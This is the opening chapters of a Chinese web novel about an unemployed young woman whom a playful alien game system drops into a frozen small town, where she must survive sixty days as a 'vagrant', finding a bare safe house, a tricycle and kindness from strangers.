《[末世]我靠捡垃圾实现财富自由》
1. 【极寒天灾】
“你醒啦?”
惨白的灯光直直打在禾小满的眼皮上,视野里一片模糊,只有一个身影若影若现。
“手术很成功。”
一道冰冷的毫无起伏的机械音从她耳边传来。
手术?什么手术?
禾小满猛然惊醒,望向四周。
她一睁眼,映入眼帘的是一间通体银白的房间。墙壁是金属材质,泛着疏离的光泽。房间中央,是一张纯白色的病床上,她正躺在上面。空气中弥漫着一股未知的、清冷而奇特的味道。
这里显然不是她居住的出租屋,而像是一间实验室。
实验室里最引人注目的,是悬浮在她正上方的一团光球。
它大约皮球大小,通体散发着柔和的白光,像一颗微型恒星。它没有五官,没有肢体,但禾小满莫名就是能感觉到,它的“视线”正牢牢地锁定着自己。
这是哪里?
禾小满记忆中的最后一秒,还停留在地球上,定格在那颗直奔她而来的火球——
接到裁员通知成为失业人员的第一天,她就疑似在家被一颗陨石透过窗户砸中。之所以说是疑似,是因为虽然据她肉眼观测,那颗陨石距她绝对不到几米了,但说不定她就是那种一但动了真格的连原子弹都能抗下的人呢,哈哈。
毕竟在这之前也没有原子弹和陨石找过她。
“刚刚开了个小玩笑哦,不要介意。”光球似乎感知到了她的思绪,在禾小满身边翩翩起舞,“正式自我介绍一下,我是末世生存游戏系统177号,很高兴通知您,宿主禾小满,您已被我们‘星际文明延续计划’成功选中。”
什么?什么末世生存游戏系统?星际文明延续计划又是什么?
禾小满听的一懵一懵的,她这是穿越了吗?
“我们的崇高宗旨是为了在无尽宇宙中延续多样的星际文明。您要知道,文明的进展从来都不是一帆风顺的坦途,总会经历一些必要的波折与考验。”系统光球那冰冷的机械音,意外地抑扬顿挫,仿佛演绎着一首夸张的咏叹调。
“我们经过长期观察,发现你们地球文明发展速度极快,潜力巨大,非常有天赋!然而,‘毁灭者文明’——您可以理解为宇宙里的刽子手——对你们的高速发展感到非常不爽,因此很可能即将对你们降下一些小小的‘挫折’。”
光球的光芒闪烁了一下,似乎在强调重点:“而您,就是我们挑选出的‘火种’之一!您将代表地球文明,前往各个末世世界应对天灾,积累经验,最终帮助您的种群存续!怎么样,您此刻是不是感到无比的荣幸?是不是迫不及待地想要肩负起责任,成为文明的救世主了呢?”
一阵漫长的沉默后。
“……我能说拒绝吗。”消化完这一番信息量爆炸的发言后,禾小满躺在床上地有气无力地问。
延续人类文明?这种事情听起来就难度系数爆表,再说,有没有谁来延续一下她的文明啊?比如说先延续一下她的工作和她银行卡里的数字。
况且,成为人类的救世主这种中二梦想,她从十二岁以后就彻底摒弃了。而这个所谓的“毁灭者文明”明显也不是什么善茬,听着就像是那种一言不合就扔二相箔的宇宙级恐怖分子吧。
听到禾小满这毫无热情的回答,系统光球周身那稳定闪耀的光芒,有那么短暂的一瞬间,都猛地停滞了,就像是人类被噎住时的呆愣。片刻之后,它才迅速恢复正常。
“呵呵是吗?”系统光滑的球体表面,浮现出一圈圈旋转的灯带般的光环,仿佛正在进行思考,“那么,对于您提出的拒绝申请,我的答复是……”
禾小满下意识地屏住了呼吸,她忽然有点后悔自己刚才的回答。万一这系统一言不合就把她这个“不合格产品”处理掉怎么办?比如直接把她拉出这个空间,丢回原来的世界让她面临肉身抗陨石的挑战。
“……我拒绝您的拒绝。”
那你说个屁啊!
像是听到了禾小满心中的抱怨,系统光球又开始欢快地绕着她上下飞舞,光芒闪烁的频率都透着一股恶作剧得逞的愉悦感。
“好啦好啦,不必多说,宿主一经选中,概不退换哦!纠结这些既定事实毫无意义,还是让我们跳过无聊的问答环节,直接让您切身体验一下我们系统的强大功能与乐趣吧!”
话音未落,根本不给禾小满任何抗议的机会,她身下的那张病床骤然发出低沉的嗡鸣,开始飞速旋转。强烈的离心力把她死死按在床面上,一个蓝色的的漩涡以病床为中心逐渐成型。
仿佛被扔进滚筒洗衣机的眩晕感中,系统那冰冷的机械音变得越来越遥远,禾小满只能隐隐约约捕捉到一句话:“……祝您旅程愉快,一路顺风~”
在被漩涡吞噬、意识陷入黑暗的最后一秒,禾小满看到的最后一个画面,是那颗欠揍的光球还在漩涡之外蹦蹦跳跳,甚至模拟出两个小光点像手一样挥动着,仿佛在做一套球体广告体操。
混蛋!要是以后有机会,她一定要把这个破球逮住当皮球踢!
————
“你醒啦?”
怎么感觉这话刚刚才听过一遍?
熟悉的问句像一把钥匙,撬开了禾小满昏沉的意识。她迷迷糊糊的睁眼,嘴比大脑更快地行动。
“我的手术成功吗?”
“什么手术?”回应她的,不再是那个冰冷的机械音,而是一个带着疑惑和关切的人类女声。
这声音让禾小满一个激灵,彻底清醒过来。她猛地眨眨眼,聚焦视线,眼前不再是那个空旷的实验室和讨厌的光球,而是一位穿着羽绒服、围着围巾的中年女性路人。对方正微微弯着腰,一脸疑惑和担忧地看着她。
禾小满这才后知后觉地意识到,那个破系统,是真的把她传送到了一个完全陌生的地方!
她迅速打量四周,这似乎是一条普通的街道,风格是典型的北美小镇:一栋栋独立的木质结构房屋稀疏地分布在街道两旁,或尖顶或平顶,漆成各种颜色,但大多因为长期的风吹日晒而显得有些暗淡。
此刻,这些屋顶、街道、以及路边的草坪上,都覆盖着一层洁白的新雪。光秃秃的树枝和老旧的路灯静静矗立,切割着阴沉的天空。整条街道异常安静,几乎看不到行人车辆,只有呼啸而过的寒风,偶尔卷起地上的雪沫。
而她自己,正躺在这冰天雪地里的一张长椅上,身上歪歪扭扭地盖了一层又一层旧报纸,一个黑色背包垫在她的脑后。
禾小满赶紧手忙脚乱地坐起来,看向面前的女性路人。
面前这位路人女士,大约四十来岁,典型的金发碧眼,面容和善。此刻那双碧色的眼睛里充满了不解:“孩子,你怎么睡在这里?这太冷了,会冻坏的!”路人说的是应该是英语,但禾小满发现自己这个超级英语渣竟然毫无障碍地听懂了。
禾小满张了张嘴,话语卡在喉咙里。这怎么回答?如果实话实说,说您好,其实我是遵从外星系统的旨意降临此地的,额……路人会信吗?还是会以为她磕多了在胡言乱语。
思考了一下,禾小满给出了一个最符合她处境的回答。
“我失业了。”——千真万确,你就别管失的是哪个国家的业。
“在一些意外下”——陨石撞击加系统绑架,这意外够意外了吧。
“流浪到了这里”——准确地说,是流浪到了这张椅子上。
路人脸上的疑惑表情,随着她的解释,逐渐转换为恍然大悟,继而涌上浓浓的同情,甚至连眼眶都有些湿润了。
“Oh, my dear!天啊,这可真是……你真可怜。”路人女士的声音里充满了真挚的怜悯,“请一定要坚强起来,孩子,一切都会好起来的,上帝保佑你。”
她望着禾小满被冻得有些苍白的脸,用力点了点头,像是要给禾小满注入一些信心,然后她从口袋里取出钱夹,从中抽出一张二十面额的钞票,几乎是不由分说地塞在了禾小满手里。
“千万不要气馁。我也曾经有过一段艰难、几乎看不到希望的日子,”她语气诚恳“但你看,我现在挺好的。一切苦难终究都会过去的。”
说完这话,女士投过来一个鼓励、同情和“我懂你”的复杂眼神,用力拍了拍禾小满的肩膀,仿佛想把那份力量也传递过来。最后,她又朝禾小满比了个大拇指,才转身踩着积雪匆匆离去,身影很快消失在街道拐角。
望着路人女士离去的背影,禾小满手里攥着钞票,心情复杂难言。
虽然好像是被当作四处流浪的失业homeless了,但是,在这陌生的冰天雪地里,这份来自路人的不带任何功利的帮助,还是让她感到一股难以言喻的暖流。
不过,路人女士的最后一句话,让她忍不住想在心里吐槽:
难道女士您也有这种被神秘力量选中,写作救世主实则小白鼠,然后一睁眼就穿越到异国他乡冰天雪地里当homeless的日子吗?
一阵猛烈的寒风吹过,卷起纷飞的雪花,直接灌进了禾小满的领口。她猛地打了个寒颤,从长椅上跳下来,使劲跺了跺冻得发麻的脚,把身上那件单薄的冲锋衣拉链拉到最顶端,牙齿还是不受控制地咯咯作响。
“好冷……冷死我了!”
禾小满一边搓手哈气,一边更加仔细地环顾四周。虽然这里的建筑风格和设施看起来就是普通的北美小镇,但直觉告诉她,这里大概率已经不是地球了。她清清楚楚地记得,自己被陨石(疑似)砸中那天,窗外还是穿着短袖都嫌热的盛夏时节,而这里,分明是呵气成冰的严酷寒冬。
也不知道那个奇怪的系统,到底把她仍在这里干什么。总不会真是让她来体验街头流浪生活的吧?
正想着,禾小满的左手手腕内侧突然传来一阵灼烧般的刺痛,她吓了一跳,赶紧捋起袖子查看——一个硬币大小的蓝色圆形符号,不知何时刻印在她手腕皮肤上,正散发着微弱的的蓝色光芒,灼痛感也正是由此传来。
这是什么?系统的符号吗?
禾小满犹豫了一下,试探性地用指尖轻点那个发烫的蓝色符号。
“嗡……”一声极轻微的震动,仿佛直接响在脑海里。下一秒,一块半透明的、泛着蓝色光晕的全息投影屏幕瞬间在禾小满面前的空气中展开,屏幕上清晰地显示着数行文字和数据:
【末日生存游戏系统启动中...】
【游戏角色:禾小满】
【当前副本:极寒纪元】
【身份天赋:流浪汉】
【体质:5】
【敏捷:5】
【力量:5】
【精神:7】
【当前环境温度:-1℃】
【副本主线任务:生存60天】
【任务完成奖励:生存点数 x 60,神秘奖励若干 】
【任务失败惩罚:抹杀】
抹杀?!
看到最后那两个冰冷的字眼,禾小满的瞳孔紧缩,心跳仿佛漏跳了一拍,随即又疯狂地加速跳动起来。
抹杀。这不是游戏里轻飘飘的“Game Over”,而是真实的物理层面的彻底消失!那个破系统口中所谓的“体验”,竟然是一场性命攸关的死亡游戏!
禾小满呆立几秒,恐惧感冲刷过她的全身。但很快,她猛地抬起手,用力拍了拍自己脸颊,给自己鼓气。“冷静,禾小满!恐慌解决不了任何问题!”
她深吸了几口冰冷的空气,强迫自己镇定。既来之,则安之……虽然是被迫的,但穿越和系统已经是无法改变的既定事实了,那个光球也说了“概不退换”。系统说这是末日生存游戏,那她就只能把自己当作一个玩家,努力去完成任务。抱怨和恐惧无济于事,
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活下去才是第一要务!
副本名称是【极寒纪元】,主线任务又明确要求存活60天,那么当务之急无比清晰:必须立刻搞定最基本的衣食住行,抵御这要命的严寒!否则根本不用等什么抹杀,低温就能直接把她带走。
压下心中对死亡的忧愁与恐惧,禾小满又仔细查看了一次系统面板,希望从中发现一些端倪,帮助她完成副本任务。果然,这次没有被抹杀二字吸引全部注意力的她,找到了一行特殊的信息——【身份天赋:流浪汉】。
这行信息闪烁着不一样的颜色,仿佛催促着禾小满阅读它,当她在空中轻点了一下,一连串信息在光屏上展开:
天赋名称:【流浪汉】
天赋等级:Lv.1 (0%)
身份介绍:
并非命运的捉弄,更像是一场早已注定的安排。你曾拥有一段令人艳羡的幸福生活,直到某一场意外,你失去了你所有的积蓄、工作和对未来的最后一丝幻想。人生的陡坡向下时总是滑得特别快,转眼间,你就成了城市阴影里的一员,以天为被,以地为席,以垃圾桶为伴。这份独特的经历,如今成为了你在这末日游戏中的“宝贵”起点。恭喜你,至少,你很适应贫穷、肮脏和被人忽视,不是吗?
天赋效果:
【拾荒者的嗅觉】你对废弃物有着近乎本能的直觉。小幅提升从“容器类”场景(如垃圾桶、废弃车辆、垃圾堆)中发现有用物品的几率与品质。
“嘿,这个易拉罐瓶口完整,能换半块面包呢!”
【风餐露宿】长期的户外露宿让你习惯了恶劣的环境。小幅提升对极端温度的耐受性,并降低在恶劣环境□□力消耗的速度。
“今晚睡桥洞还是热风口?这是个问题……算了,哪儿都一样。”
【污秽亲和】这是你被迫掌握的、赖以生存的硬核技能之一。小幅降低身处污秽环境时的生理不适与感染疾病概率,提升食用过期、轻微变质食物后的存活几率,小幅减轻中毒效果。
“这面包才过期三天?毛毛雨啦。”
【边缘感知】作为社会的边缘人,你学会了察言观色,对危险的预知往往快人一步。小幅增加你的直觉判定成功率,尤其是在感知潜在威胁与环境细微变化时。
“感觉……那边巷子里的垃圾桶后面好像有东西……还是不过去了。”
【卑微乞讨】这是你熟练掌握的、为数不多的社交技能。当你向NPC发起乞讨行为时,有小概率获得少量物资或金钱,成功率与目标NPC的心情、富裕程度以及你的当前形象值密切相关。
“行行好,给口吃的吧……”
【顽强生机】苦难的生活没有击垮你,反而让你更加坚韧。在处于饥饿、伤病等状态时,小幅减少身体各项能力的下降速度。
“只要没死透,总能再爬起来。”
【流浪汉】……禾小满看到这个身份天赋和它的一大串技能时,只感觉哭笑不得。
“直到某一场意外,你失去了你所有的积蓄、工作和对未来的最后一丝幻想……”这说得其实就是她吧?!只是这意外名叫失业而已,如果不能尽快找到工作,她可能在副本外也要上演一部轻小说《失业,然后成为流浪汉》。从某种程度来说,系统也是预判了她的命运和生活。
不过,说实话,禾小满觉得这个身份还蛮适合她的。
虽然这些天赋效果看起来有些搞笑,但其实每一条都提升了她在【极寒纪元】副本中的存活率:【风餐露宿】帮助她抵御严寒、【污秽亲和】帮助她节省食物填饱肚子、【边缘感知】帮助她躲避危险、就连【卑微乞讨】也有大用……
她严重怀疑,刚刚在和路人女士交谈时,【卑微乞讨】就发挥了作用,不然怎么解释她手里这张钞票,总不能是因为她的魅力高到让路人也为之倾倒了吧?
“只是开局抽选的身份天赋有些小众而已,咱们啥大场面没见识过。”禾小满再次检查了一遍所有信息后,关闭了系统面板。别说做流浪汉了,在她丰富的游戏生涯中,囚犯、逃犯、就连尸体她也当过。
而一个合格的游戏玩家,在进入游戏后要做的第一步是什么?当然是搜查周身物品,寻找一切可能用上的线索和资源!
禾小满立刻将那个垫在她脑后的黑色双肩背包拿了过来。目前来看,这是她唯一的财产了。
她拉开拉链,把里面的东西一股脑全倒在长椅上。东西不多:一个棕色的钱包、一件黑色抓绒内胆冲锋衣(比她身上这件单薄的强多了)、一个金属军用水壶、一把相当锋利的黑色折叠刀、还有一块电子表、一包纸巾以及一些杂七杂八的东西。
“还好,不是完全赤手空拳。”她稍微松了口气,系统至少给了点基础装备。
禾小满首先拿起最有可能提供帮助的皮质钱包,打开钱包,里面胡乱地塞着一些纸币和硬币。她满怀期待地开始清点这些“开局资金”,在这个陌生的地方,钱的重要性不言而喻。
然而,希望越大失望越大,她抚平了最后一张纸币、掏出了最后一个钢镚。
180块。
再加上路人女士好心打赏的20块。
200块。
“……我能往这个垃圾游戏里充点钱吗?”
禾小满举着那沓薄薄的钞票,对着空无一人的寒冷街道忍不住喃喃自语。
禾小满无语凝噎,一直以零氪白嫖党为荣的她,人生中第一次如此强烈地渴望给一个游戏充值。
不过,天无绝人之路。就在她郁闷地反复摩挲着那几张钞票时,她忽然注意到,其中一张纸币的背面,被人用蓝色的圆珠笔画上了一些曲折的线条,中间还有一个小叉号作为标记。她越看越觉得,这似乎像是一张简易的手绘地图?
是之前拥有这张钞票的人无意中画的,还是……系统留下的“新手指引”?
2. 【极寒天灾】
是之前拥有这张钞票的人无意中画的,还是……系统留下的“新手指引”?
禾小满犹豫了片刻,看着这简陋的地图,又感受了一下越来越冷的天气。留在原地绝对是等死,与其漫无目的地乱逛,不如相信这可能是唯一的线索。她握紧了这张画着地图的钞票,决定跟着它走。
她穿上那件更厚实的冲锋衣,把折叠刀揣进外套口袋,背好背包,深吸一口气,踏着积雪,根据地图上线条指示的方向,小心翼翼地前进。
寒风像刀子一样刮过她的脸颊,耳朵和鼻子很快就被冻得通红发痛,脚下的雪地咯吱作响,每一步都耗费着不小的力气。
小镇苍凉而寂静。街道宽阔但车辆稀少,偶尔有一辆老旧的汽车慢吞吞地驶过,溅起一点泥泞的雪水。路边的房屋大多关着门,窗户昏暗,显得毫无生气。行人更是寥寥无几,偶尔遇到一两个,也是裹得严严实实,行色匆匆,低着头不愿在这室外多待一秒。
整个世界仿佛都被笼罩在一层灰白色的的寂静之下。
走了大概十几分钟,就在禾小满感觉自己的脚趾快要失去知觉的时候,她终于到达了地图上所标示的目的地——月桂路233号。那是一栋低矮的平房,已经上了些年头,墙壁上的油漆大面积剥落,窗户紧闭着,挂着厚重的窗帘,看上去毫不起眼,甚至有些破败。
然而,最吸引禾小满目光的是:深绿色房门的门锁上,竟然明晃晃地插着一把黄铜色的钥匙!
这简直像是在游戏里特意设置好的提示点!禾小满的心跳不由自主地加快了。她犹豫了一下,四下张望,确认周围没有人,才鼓起勇气,穿过院子,一步步走近那扇门。
就在她的手指触碰到钥匙的瞬间,那道熟悉的机械音再次直接在她脑海中响起:
【叮!新地点:安全屋已解锁。】
安全屋?!禾小满的眼睛亮了起来,心中涌起好奇和期待。终于有点生存游戏的样子了,也不知道系统会在这安全屋里给她准备些什么东西。食物?燃料?温暖的被褥?或者更厉害的装备?
“吱呀——”一声,门应声而开。一股带着灰尘和霉味的陈旧空气扑面而来,禾小满被呛得咳嗽了几声,连忙捂住口鼻,眯着眼打量屋内的环境。
然而,只看了一眼,她就被眼前的景象震惊了,嘴巴张开,半天合不拢。
这屋内……
……
……什么都没有!
客厅的装修用叙利亚风格形容都太过豪华,灰白的墙壁,水泥的地面,除了天花板上的白炽灯之外,房间里没有任何家具,连一张桌子一把椅子都没有。
好大方,系统给她准备的东西居然是零唉。
“好家伙,这是把【流浪汉】身份贯彻到底吗?”禾小满喃喃自语,心里的期待值瞬间从山顶跌落到谷底。
她抱着最后一丝希望,走进客厅,开始探索这所谓的“安全屋”。屋子内部是三室一厅的布局。前两间卧室和客厅保持着高度一致的极简风格,同样空空荡荡,一览无余,只有灰尘和蜘蛛网作伴。
直到她推开最后一间像是主卧的房间门,情况才终于有了一点改善。
主卧里虽然同样破败和寒酸,但比起前面几间屋子那种最纯粹的虚无空荡,主卧已经算是有了跨越式的进步——锈迹斑斑的单人床,上面铺着薄薄的棉絮和被褥;一张掉漆严重的木质书桌,桌腿似乎还不大平稳;还有一个颜色暗淡的木质衣柜。
禾小满松了口气,至少安全屋还给了她张床。不然今晚她要么是打地铺,要么是直接滚回出生点——长椅。
打开衣柜,衣柜里竟然很奢侈的装了一些衣服,这出乎她的意料。这些衣服也完美维持了她身份天赋的风格,男女老少各种款式各种尺寸皆有,但绝大多数的都是夏季秋季的衣服,里面最厚实的也不过是一件起球的薄毛衣,羽绒服和大貂那是想都不用想的。
系统这是还没来得及去慈善捐赠点捡些冬季的款式吗?禾小满暗自腹诽。
尽管如此,她的身体还是无比诚实地行动起来,伸手进去,尽可能翻检出几件相对厚实的衣服,一层层地往自己身上套。
没办法,她实在太冷了。醒来时她身上只有那件冲锋衣和单薄的牛仔裤,如果不是那几层报纸盖着给她提供了一些保暖,她估计直接冻晕在椅子上,达成“开局即结局”的成就了。
把自己裹成一个略显臃肿的球后,禾小满感觉稍微暖和了一点。她走出卧室,想起还有一个厨房没有探索。
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刚踏进厨房门口,禾小满就再次被震撼了。
这里成功摒弃了一般厨房脏乱差的问题,可以说是从上到下都很干净。
——要不是这里摆了个锅,她都认不出这是个厨房。
禾小满不死心,翻遍了厨房的所有橱柜和抽屉,最后只能对着翻出来的菜刀和破碗兴叹:
“……郑重宣布,本厨房竭诚为您提供除了食物以外的一切餐品。”
裹紧身上的衣服,背好背包,禾小满望着空荡荡的客厅,无奈地叹了口气,她现在是必须出门了。
如果不想办法出门弄点食物、饮用水、以及取暖燃料,她恐怕连今晚都熬不过去,更别提那六十天的生存任务了。那个“抹杀”惩罚,就像一把达摩克利斯之剑,悬在她的头顶。
推开客厅门,一股刺骨的寒风裹挟着雪沫,瞬间扑了她一脸,她简直要呼吸不过来了。
就在这白茫茫的雪地中,一抹突兀的蓝色瞬间撞入了她的视线——那好像是一辆……三轮车?就停在院子角落里,刚才她只顾着进屋,竟然完全没注意到它!
三轮车看起来已经很旧了,蓝色的车漆脱落了不少,露出底下的铁锈,黑色的皮质座垫也磨损得厉害。车斗不算大,上面盖着一块银灰色的防水布。两个后轮缠着防滑的铁链,前轮则歪歪扭扭地陷在雪地里。
禾小满心脏猛地一跳,几乎要笑出声。她刚才还在发愁,在这冰天雪地里,如果只靠两条腿,能搜寻物资的范围极其有限,而且效率低下,随时可能冻僵在路上。
这辆三轮车的出现,简直是绝境之中的天降甘霖,是命运给予她这个非酋的慷慨恩赐!虽然它破旧,但这意味着她有了代步工具,可以更快地移动,搜寻更多区域,甚至运输找到的物资!
三轮和她这个【流浪汉】,简直绝配!
禾小满快步走过去,拂去座垫上的积雪,跨上座椅,双手握住车把,费力地把陷在雪里的前轮龙头扭正。链条发出令人牙酸的嘎吱声,但总算还能转动。她缩着脖子,眯起眼以抵挡风雪,然后奋力蹬动踏板。
三轮车先是摇晃了几下,随后便歪歪扭扭地驶出了小院,在洁白的雪地上,留下了三道蜿蜒向远方的车轱辘印。
寻找物资之旅!出发!
3. 【极寒天灾】
风,呼呼地刮,街道白茫茫一片。
“嘎吱——嘎吱——”富有节奏的的响声由远及近,一辆蓝色三轮慢悠悠地从风雪中钻出来。
禾小满一脸严肃地蹬着车。经过一番艰难的人车博弈,她刚刚总算驯服了她的坐骑。
寒风拂过,领口传来一阵细微的刺痒。她面无表情,抬起手指,熟练地把冒出来的白色塑料袋边角按了回去。
……形势逼人,只能用塑料袋充当一下围巾了。
禾小满拉好领口,继续左右张望。
她已经骑了一会了,但路上的景象一直没怎么变:一栋又一栋房屋、一棵又一棵树、一丛又一丛灌木。这里的房屋基本都带个小院,木质的篱笆整整齐齐,把院落给框了出来。每家每户都隔得很远,偶尔有房屋亮着灯,但大多却门窗紧闭,一片死寂。
这鸟不拉屎的破地方,怎么看都像美国B级片里那些专门用来发生点什么的荒凉小镇。禾小满心里直泛嘀咕,脑内自动开始播放各种经典恐怖片场景。
打住打住!现在可不是脑补自己是哪部恐怖片女主角的时候,按系统的说法,她现在所在的频道是“生存纪录片”。
禾小满晃晃脑袋,甩开胡思乱想,开始认真盘算生存清单:
第一,食物。要高热量、易储存、顶饱。最好能直接吃,或简单煮煮就行。而且量要足,最好够吃两个月——鬼知道下次补给是啥时候。
第二,保暖。系统面板显示现在的气温是0℃,可副本名叫【极寒纪元】……用脚想都知道还会更冷!就算有【风餐露宿】的天赋效果,但单靠她这身服装根本扛不住。她现在急需厚衣服,从外套到鞋子,能裹的全裹上。
还得有厚被子,屋里那床被子薄的跟纸似的。而且她最好得再搞个炉子,烧火取暖,否则光靠衣物硬抗,怕是有点悬。
第三,工具。生火用的,照明用的,还有斧头或锯子这类工具,进可砍柴,退可防身。
当然,以上所有东西必须便宜。她全身就两百块,贵了买不起。不然就只能发扬天赋身份……
……问问系统支持不支持零元购了。
正想着,前方街角踉踉跄跄走来一个大胡子男人,他双手揣在袖子里,骂骂咧咧地顶着风挪动。
禾小满像看到救命稻草,赶紧蹬几下三轮车,拦到男人面前。
“嘿,sir!劳驾您等会儿!”她努力让自己的声音穿透风声,“您知道哪里有商店吗?Supermarket?buy food的shop?”她随口胡刍着小学英文词汇,不过按先前和路人女士交流的经验,这个男人多半也听得懂。
男人吓了一跳,抬起冻红的脸,不耐烦地扫她一眼,嘟囔了一句。
禾小满没听清他的发音,但莫名懂了他的话:“哪来的神经病?”
……虽然确实感谢系统赠送的无障碍交流福利,但这种话可以不翻译的。
“往前走!一直走!汉克杂货铺!”男人用下巴朝前努了努,说完就缩着脖子继续挪动,一秒都不想停留。
“谢了……” 禾小满的道谢飘散在风里,她本来还打算多问几句呢。
没来得及问其他信息,但至少有了方向。禾小满咬咬牙,朝着男人指的方向奋力蹬车。
骑了十来分钟,就在腿快冻僵时,一点昏黄的灯光穿透风雪,在前方不远处亮着。
那光来自一扇蒙着水汽的玻璃窗,窗后依稀可见货架的轮廓。窗户上方挂着一块旧招牌:汉克杂货铺。
禾小满心中一喜,几乎是滚下车,把三轮往门口一停,推门冲了进去。
店内比外面暖和多了,空调呼呼吹着热风。一眼望去,杂货铺空间不大,几个铁货架就满满当当:罐头、袋装食品、清洁用品、简单工具,甚至还有钓鱼用具。
除此以外,店内有很多生活的痕迹:墙上挂着全家福,收银台摆着碗筷,墙角有个冷着的铸铁炉子,堆着几捆旧报纸。
柜台后,一个微胖的中国老太太抬起头。看清禾小满的装扮时,她眼睛瞬间瞪圆,手里的毛线团都吓掉了。
这不稀奇,禾小满现在活像个移动的旧衣回收箱:冲锋衣下露出一层层衬衫和裙子边,再下面是破洞牛仔裤,破洞里还透出小黄鸭秋裤,脚上是湿透的帆布鞋,脑袋上则缠了一张米色的旧毛巾。
“姑娘啊!”老太太一开口,带着浓浓乡音,“你怎么穿成这样?要冻死的呀!”
听到亲切熟悉的乡音,禾小满很安心,但她也不知道咋解释她从衣柜里费尽心思搭的一套x暖高分装扮,只能硬着头皮瞎掰:“阿婆,这是混搭风,保暖又时尚。”
……如果她没冷得发抖,这话可信度还能再高上一个台阶。
顶着老太太疑惑和震惊的目光,禾小满不好意思的摸了摸她斗地主经典农民造型的脑袋,脸也有点红。
她也不想穿成这样的,但这不是为了保暖嘛。
老太太盯着她,眼神从震惊逐渐变为了然,重重叹气:“唉,姑娘你刚来的?没带衣服?”
“是,今天刚搬来。”禾小满赶紧点头,“阿婆,哪儿有卖厚衣服被子?”
“哎呦,我们这小镇哪有的卖,都去市里大超市。你没车?”老太太摇摇头。
“这……”禾小满不由得有点失望,低头看着自己脚下融化的雪水弄湿了地面。
按【流浪汉】的身份来看,系统给了这架破三轮已经很好了,至于汽车她想都没想过。
老太太看出了禾小满的窘迫,又叹了口气,眼神软了下来:“等等。”她颤巍巍地走向后面的小仓库,在里面窸窸窣窣地翻找了一会儿,拎出一件红褐色仿貂绒外套,“我女儿嫌老气没穿几次。你要不嫌弃先穿着,总比冻着好。”
禾小满愣住了,看着厚外套,又看看老人慈祥的脸,一股热流冲上眼眶。
忽然莫名其妙地被系统选中,丢进这个冰天雪地的世界,被迫立刻思考如何生存下去。她就算是个爱吐槽的乐天派,也不可能真的瞬间适应。她只是努力麻痹自己,把自己抽离出来,像以前玩游戏一样,说服自己一个一个攻克【生存】的任务。
她本来想说服自己,所有的人都是npc,她只需要按部就班地打交道做交易就好。但路人女士温暖的鼓励、老太太亲切的热心肠……无论是不是因为天赋效果,这些毫不迟疑的善意,都温暖了她的心房,一瞬间击穿了她的防线。
她和老太太只是第一次见面,她甚至还没消费一分钱,根本算不上一个顾客。
“谢…谢谢您,”禾小满的声音有些哽咽,“我没车,要不是您,我真不知道怎么办……”
“没事没事,碰着自家人了呀,在外头碰到个家乡人不容易啊。”老太太摆摆手,慢悠悠地回到收银台后面坐下,眼神温和地看着她。“唉,看到你,我就想起我家囡囡了,她在别的市上班,公司叫个……micro……microhard来着。”
Microhard?禾小满嘴角微妙地抽搐了一下,强行忍住了吐槽的欲望。此刻,任何调侃都是对这份温暖的亵渎。
她赶紧穿上外套,使劲拢紧。这温暖,此刻就是奢侈品。
禾小满悄悄抹眼,强迫自己回过神,提醒自己先做正事。这个小镇看起来商铺稀少,这家杂货铺很可能就是她唯一能稳定获取食物的地方了。
必须先搞定生存的问题,才有资格谈论感情。
目光扫过一排排货架,禾小满迅速进入扫描模式,开始精打细算地挑选合适的物资:
燕麦
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片?多拿几袋,这东西顶饱耐存,煮着吃泡着吃都行,实在不行干嚼都可以。
压缩饼干?生存神器,一片就能顶半天!但是怎么只有这么几袋,全拿走好了。
蔬果?不行不行,太贵了,而且在这种低温下很容易冻坏烂掉,性价比太低。但是这有土豆和红薯……可以适当拿些,这些根茎类植物算半个主食。
肉?新鲜肉类想都不要想,就算买得起,估计也冻得梆梆硬没法处理。只能拿午餐肉和黄油了,嗯,黄油多拿几块,这是唯一能吃的脂肪了。
巧克力?相比其他基础物资,它单价是有点贵了,但是还是买吧!这东西能量密度高,携带方便,万一出门探索遇到紧急情况,吃这个最能快速补充能量,属于战略储备物资。
禾小满像松鼠搬家,把东西一件件搬柜台,堆成小山。
看得老太太咂舌不已:“买这么多?姑娘你一个人吃得了?”
“有备无患嘛,怕过几天雪大出不了门。”
她现在有机会买就使劲买,以后说不定想买都买不到了。
趁着老太太在算钱,禾小满又在店里转了一圈,拿了手电筒和打火机,一起放在柜台上,但她最想要的几样工具在这里并没有找到。
“阿婆,有斧头或锯子吗?”
“一共一百二十八。”老太太抬头,“斧头锯子?这种东西我这里没有的。”她想了想,用手往西边指了指“你可以到西边去看看,那边原先有个加油站,旁边有家商店,是专门给来往汽车服务的,说不定有卖这种东西。”
128!禾小满心疼地倒吸了一口凉气,强忍心痛递出了钱,这几乎是她全部资金的一半多了!但情况比她预想的好了很多,她刚才挑选东西时留意了价格标签,发现这里食品的物价并不高。
看来小镇不仅是环境对标美帝,货币体系也一并对标了。
老太太给禾小满找零,瞄了瞄她,问道:“姑娘,这么多东西,你怎么弄回去啊?”
禾小满指指三轮,不好意思道:“阿婆,有纸箱吗?我想装箱子捆车上。”
“有!”老太太爽快地答应,从后屋抱出几个压扁纸箱,还带了卷绳子。
禾小满谢了又谢,将燕麦片、罐头、黄油、巧克力和饼干小心地装进纸箱里,用绳子捆好。土豆和红薯放进另一个箱子,再用银色的防水布把箱子盖好。
做完这一切,禾小满坐上三轮座垫,正准备蹬车离开时,杂货铺的门又被推开了。老太太追了出来,不由分说地把一双看起来就非常厚实、手工编织的毛线棉鞋塞到了禾小满怀里。
“还有这个,我自己闲着织着玩的,你穿着试试,脚头好暖和点。” 她指了指禾小满脚上湿透的帆布鞋。
“阿婆,这……”
“唉,不要多讲闲话了。”老太太打断禾小满,脸上带着慈祥的笑容,“小姑娘一个人出门在外,不容易,又是自家乡亲,有空多来寻我讲讲话就好了。下趟来,不要叫我汉克太太了,叫我冯阿婆就好了。”没等禾小满再说什么,老太太笑着摆了摆手,转身推开店门,身影消失在门后温暖的光晕里。
怀里的棉鞋很新,针脚细密厚实,用的是柔软的毛线,一看就花了很多心思,有一种让人眼眶发热、想要落泪的扎实温暖。
禾小满抱着鞋怔怔地呆立了好一会儿,风雪吹打在她的脸上,却感觉不到之前的刺骨寒冷,她望着杂货铺,重重地点了个头:“嗯!”
告别了善良温暖的冯阿婆,禾小满骑着满载物资更加沉重的三轮车,再次扎进风雪之中。
她决定按阿婆的话语,去西边看看,既是因为迫切需要那些工具,也是因为她想了解一下小镇。毕竟游戏前期,就该多开地图。
下一站,西边加油站!
4. 【极寒天灾】
